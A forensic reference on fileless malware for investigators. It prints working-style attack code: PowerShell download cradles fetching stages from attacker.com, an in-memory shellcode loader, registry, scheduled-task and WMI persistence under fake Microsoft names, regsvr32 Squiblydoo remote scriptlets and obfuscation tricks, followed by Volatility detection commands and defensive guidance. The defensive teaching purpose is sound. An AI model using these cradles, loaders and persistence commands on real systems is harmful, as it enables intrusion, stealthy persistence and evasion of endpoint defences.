Fileless Malware

This document provides a structured forensic and technical reference for fileless malware — one of the most evasive threat categories encountered in modern digital investigations. It is intended for forensic analysts, security researchers, and investigators conducting endpoint examinations including PC checks in environments such as FiveM, Minecraft servers, or enterprise networks.

Traditional malware analysis relies on a file-centric workflow: locate the executable, extract it, hash it, and match it against known signatures. This model has served the security industry for decades. Fileless malware is a deliberate attack on this model's foundational assumption — that malicious code must exist on disk to cause harm.

By operating exclusively within memory and abusing legitimate Windows utilities, fileless attacks achieve a level of stealth that renders most conventional endpoint security tools ineffective. Understanding these attacks at a technical level is the prerequisite for detecting and investigating them credibly.

Fileless malware is malicious activity that executes entirely within a system's volatile memory (RAM) and does not write a persistent malicious binary to disk. The term is somewhat imprecise — most fileless attacks do involve some form of file-based initial delivery (a phishing document, a malicious link) — but the key distinction is that no standalone executable payload is ever written to the file system.

The attacker leverages trusted, signed system utilities already present on the operating system to load, decode, and execute a payload that lives only in memory. This approach is categorized under "Living off the Land" (LotL) techniques — abusing the tools the operating system provides, against itself.

PowerShell is the most frequently weaponized tool in fileless attack chains. Its deep integration with the .NET framework, its ability to execute code downloaded from remote sources, and its near-universal presence on Windows systems make it an exceptionally capable and available attack platform. Critically, PowerShell can compile and execute .NET code at runtime — allowing a complete payload to run from a string, never touching disk.

# Stage 1: policy bypass + silent window + remote cradle
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "
  Invoke-Expression (Invoke-RestMethod -Uri 'https://attacker.com/stage2.ps1')
"

# Shortened alias variant (common in obfuscated samples)
powershell -ep bypass -c "iex(iwr 'https://attacker.com/stage2.ps1' -UseBasicParsing)"

# Stage 2 (retrieved from remote, runs in memory):
$wc = New-Object System.Net.WebClient
$bytes = $wc.DownloadData('https://attacker.com/payload.bin')
[System.Reflection.Assembly]::Load($bytes)  # load .NET assembly from byte array

# P/Invoke via Add-Type — compile C# inline, call VirtualAlloc, inject shellcode
$code = @"
using System;
using System.Runtime.InteropServices;
public class Loader {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")]
    public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr id);
    [DllImport("msvcrt")]
    public static extern IntPtr memset(IntPtr d, int c, uint cnt);
}
"@
Add-Type $code  # compiles C# at runtime — no .exe written

$buf  = [Byte[]](0xfc,0x48,0x83,...)  # shellcode bytes
$addr = [Loader]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)  # RWX memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
[Loader]::CreateThread(0, 0, $addr, 0, 0, 0)  # execute shellcode thread

The Windows Registry provides a persistent storage mechanism that attackers exploit to maintain a presence across reboots without placing executable files on disk. By encoding an entire payload — or a loader command — into a registry value, the attacker ensures their code survives system restarts while remaining invisible to file-based scanning.

:: Create run key with encoded PowerShell payload
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v "WindowsDefenderUpdate" ^
  /t REG_SZ ^
  /d "powershell -WindowStyle Hidden -EncodedCommand <BASE64>" /f

:: Store payload binary in obscure registry location (REG_BINARY)
reg add "HKCU\Software\Microsoft\Cryptography\{random-guid}" ^
  /v "Config" /t REG_BINARY /d [hex-encoded-payload] /f

:: Loader retrieves and executes it:
$data = (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Cryptography\{guid}").Config
$dec  = [System.Text.Encoding]::Unicode.GetString($data)
Invoke-Expression $dec

• Value naming — attackers mimic legitimate entry names: "WindowsDefenderUpdate", "MicrosoftEdge", "SystemHealthService"
• Timestamps — registry key last-write times can help place the persistence installation within an attack timeline
• HKCU vs HKLM — HKCU requires only standard user privileges; HKLM requires admin rights and is therefore more reliable if the attacker has escalated

Windows Task Scheduler allows code execution at login, at defined intervals, on system events, or on network availability. Attackers create tasks that invoke PowerShell or other scripting engines with obfuscated payloads, providing reliable fileless persistence. Tasks are defined as XML files under C:\Windows\System32\Tasks\, but their execution leaves no additional disk artifact.

# Create a scheduled task that runs at user logon
$action  = New-ScheduledTaskAction -Execute "powershell.exe" `
              -Argument "-WindowStyle Hidden -EncodedCommand <BASE64>"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings= New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
  -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest

# Alternative via schtasks.exe (often less logged)
schtasks /create /tn "WindowsDefenderCacheMaintenance" /tr ^
  "powershell -ep bypass -W H -Enc <BASE64>" /sc onlogon /ru SYSTEM /f

regsvr32.exe is a signed Windows binary used to register and unregister COM components. A well-documented fileless technique — known as Squiblydoo — exploits its ability to download and execute a remote COM scriptlet (.sct) file without writing anything to disk. Because regsvr32.exe is Microsoft-signed, it bypasses AppLocker and Software Restriction Policies in default configurations.

:: Squiblydoo — remote scriptlet execution via regsvr32
regsvr32 /s /n /u /i:https://attacker.com/payload.sct scrobj.dll

:: Parameter breakdown:
::   /s         — silent (suppress all dialogs)
::   /n         — do not call DllRegisterServer
::   /u         — triggers DllInstall (with /i parameter)
::   /i:[url]   — URL or path for scriptlet to install
::   scrobj.dll — Windows Script Component runtime (handles .sct parsing)

:: The .sct scriptlet format (XML-based, executes arbitrary JScript/VBScript):
<?XML version="1.0"?>
<scriptlet>
  <registration progid="TESTING" classid="{AAAA...}">
    <script language="JScript">
      <![CDATA[ var r = new ActiveXObject("WScript.Shell");
        r.Run("powershell -ep bypass -Enc <BASE64>", 0, false); ]]>
    </script>
  </registration>
</scriptlet>

Related binaries subject to similar abuse include: mshta.exe (runs remote .hta files), cmstp.exe (COM+ Service Template — can load remote INF scripts), odbcconf.exe (executes DLL via REGSVR action), and wmic.exe (can invoke remote XSL stylesheets via /format).

Windows Management Instrumentation (WMI) is a powerful management framework that attackers exploit for both execution and persistence. WMI subscriptions allow code to execute in response to system events — reboots, user logons, process creation, time triggers — and run as a WMI Provider Host process, making the true origin difficult to identify.

# WMI permanent event subscription — persists across reboots, stored in WMI repository

# 1. Event Filter — defines the trigger condition
$filter = Set-WmiInstance -Namespace root\subscription `
  -Class __EventFilter -Arguments @{
    Name           = "SystemHealthMonitor"
    EventNamespace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60
                      WHERE TargetInstance ISA 'Win32_LocalTime'
                      AND TargetInstance.Hours = 12"  # triggers at noon
  }

# 2. Event Consumer — the action to execute
$consumer = Set-WmiInstance -Namespace root\subscription `
  -Class CommandLineEventConsumer -Arguments @{
    Name            = "SystemHealthExecutor"
    CommandLineTemplate = "powershell -ep bypass -W H -Enc <BASE64>"
  }

# 3. Filter-to-Consumer Binding — links them
Set-WmiInstance -Namespace root\subscription `
  -Class __FilterToConsumerBinding -Arguments @{
    Filter   = $filter
    Consumer = $consumer
  }

# Stored in WMI repository: C:\Windows\System32\wbem\repository\
# Not a file on disk in the traditional sense — invisible to most scanners

Process injection is the technique of inserting malicious code into the memory space of a legitimate running process, then executing it from within that process's context. This allows the malware to inherit the host process's security token, network identity, and trusted status — making it extremely difficult to distinguish from legitimate activity.

• Common injection targets: explorer.exe, svchost.exe, lsass.exe, notepad.exe, RuntimeBroker.exe
• Memory regions with RWX (read-write-execute) permissions in otherwise benign processes are a strong indicator
• Unsigned code executing from heap or stack memory in a normally clean process is detectable via memory forensics

Obfuscation is a foundational component of virtually all fileless malware deployments. Attackers layer multiple encoding and encryption techniques to defeat automated detection, sandbox analysis, and manual investigation. Each layer must be unwrapped during forensic analysis.

# Original plaintext command:
Invoke-Expression (Invoke-RestMethod 'https://malicious.com/stage2.ps1')

# Encode for -EncodedCommand (must be UTF-16LE, not UTF-8):
$bytes  = [System.Text.Encoding]::Unicode.GetBytes('Invoke-Expression (...)')
$enc    = [Convert]::ToBase64String($bytes)
# Result: SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ...

# Execute:
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ...

# To decode during analysis:
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))

# Character code reconstruction — bypasses simple string matching
$cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101  # "Invoke"
iex ($cmd + "-Expression ...")

# String reversal
$rev = "noisserp-xE-ekovnI" ; iex (-join $rev[-1..-$rev.Length])

# Format string substitution
$x   = "{0}{1}{2}" -f 'Inv', 'oke-', 'Expression'
iex $x

# Backtick insertion (ignored by PowerShell parser)
i`e`x("I`nv`oke-Expressio`n ...")

# AES-256 encrypted payload — decrypted and executed in memory
$key     = [byte[]](0x4A,0x2F,0xC8,0x91,0x3E,0xD2,0x7A,0x5B,...)  # 32 bytes
$iv      = [byte[]](0x9E,0x1D,0xF3,0x42,0x88,0xC6,0x0A,0x7F,...)  # 16 bytes
$payload = [Convert]::FromBase64String('<AES-256-CBC-encrypted-base64-blob>')

$aes     = [System.Security.Cryptography.Aes]::Create()
$aes.Key  = $key ; $aes.IV = $iv ; $aes.Mode = 'CBC' ; $aes.Padding = 'PKCS7'
$dec     = $aes.CreateDecryptor()
$code    = $dec.TransformFinalBlock($payload, 0, $payload.Length)

# Execute: option A — as script string
iex ([System.Text.Encoding]::Unicode.GetString($code))

# Execute: option B — as .NET assembly loaded from bytes
$asm = [System.Reflection.Assembly]::Load($code)
$asm.EntryPoint.Invoke($null, $null)

Despite its design intent to leave no trace, fileless malware generates investigable artifacts across multiple data sources. A thorough investigation must systematically examine each of the following. The order below roughly reflects investigation priority for a time-constrained PC check.

Memory forensics is the cornerstone of fileless malware investigation. Since the payload never reaches disk, a RAM dump captured while the system is still running may be the only source of the actual malicious code. Never reboot a suspected system before capturing a memory image.

# Process listing and relationships
vol -f mem.dmp windows.pslist               # flat process list
vol -f mem.dmp windows.pstree               # parent-child tree (essential)
vol -f mem.dmp windows.cmdline              # full command line for each process
vol -f mem.dmp windows.dlllist              # DLLs loaded per process

# Code injection detection
vol -f mem.dmp windows.malfind              # find VAD regions with RWX + MZ headers
vol -f mem.dmp windows.hollowprocesses      # detect process hollowing
vol -f mem.dmp windows.ldrmodules          # detect hidden/unlisted DLLs

# Network investigation
vol -f mem.dmp windows.netscan             # active + recently closed connections
vol -f mem.dmp windows.netstat             # current socket table

# Memory dump of specific process for further analysis
vol -f mem.dmp windows.memmap --pid 1234 --dump
vol -f mem.dmp windows.dumpfiles --pid 1234

# String extraction from process memory
vol -f mem.dmp windows.strings --pid 1234 | grep -iE "http|base64|powershell|iex"

# Registry hive analysis from memory
vol -f mem.dmp windows.registry.hivelist
vol -f mem.dmp windows.registry.printkey --key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

The following table catalogues the most reliable IoCs for fileless malware activity. Severity ratings assume no known-good explanation exists for the indicator in the environment being investigated.

Understanding why fileless malware evades detection is as important as knowing how to find it. Each challenge below represents a deliberate design decision by attackers — and a gap that defenders must specifically address.

Effective defense requires a layered approach. The controls below are listed in approximate order of impact-to-effort ratio. None alone is sufficient; the combination creates the visibility and friction necessary to detect and disrupt fileless attacks.

Fileless malware represents a sustained and deliberate evolution in attacker tradecraft. By leveraging legitimate system tools, operating entirely in memory, and applying layered obfuscation, these attacks defeat the file-centric security model that underpins most endpoint defenses. For forensic investigators, they demand an equivalent evolution in methodology — away from file scanning and toward behavioral analysis, log correlation, and memory forensics.

The techniques documented here — from PowerShell cradles to WMI subscriptions to process injection — share a common structural principle: they abuse the operating system's own capabilities against itself. This means the artifacts they leave are themselves embedded in legitimate system data sources: event logs, the WMI repository, the process table, registry hives, and RAM. Investigating these sources systematically, with the right tools and a clear understanding of what anomalous behavior looks like, is the foundation of effective fileless malware investigation.

Three principles define successful detection of these threats. First, logging must be configured aggressively before an incident — Script Block Logging, process creation auditing, and task auditing are all disabled by default and must be explicitly enabled. Second, memory must be acquired before anything else changes on a suspected system — the payload vanishes on reboot. Third, behavioral baselines matter — the difference between a malicious PowerShell invocation and a legitimate one often comes down to context: who spawned it, what it connected to, and what it tried to execute.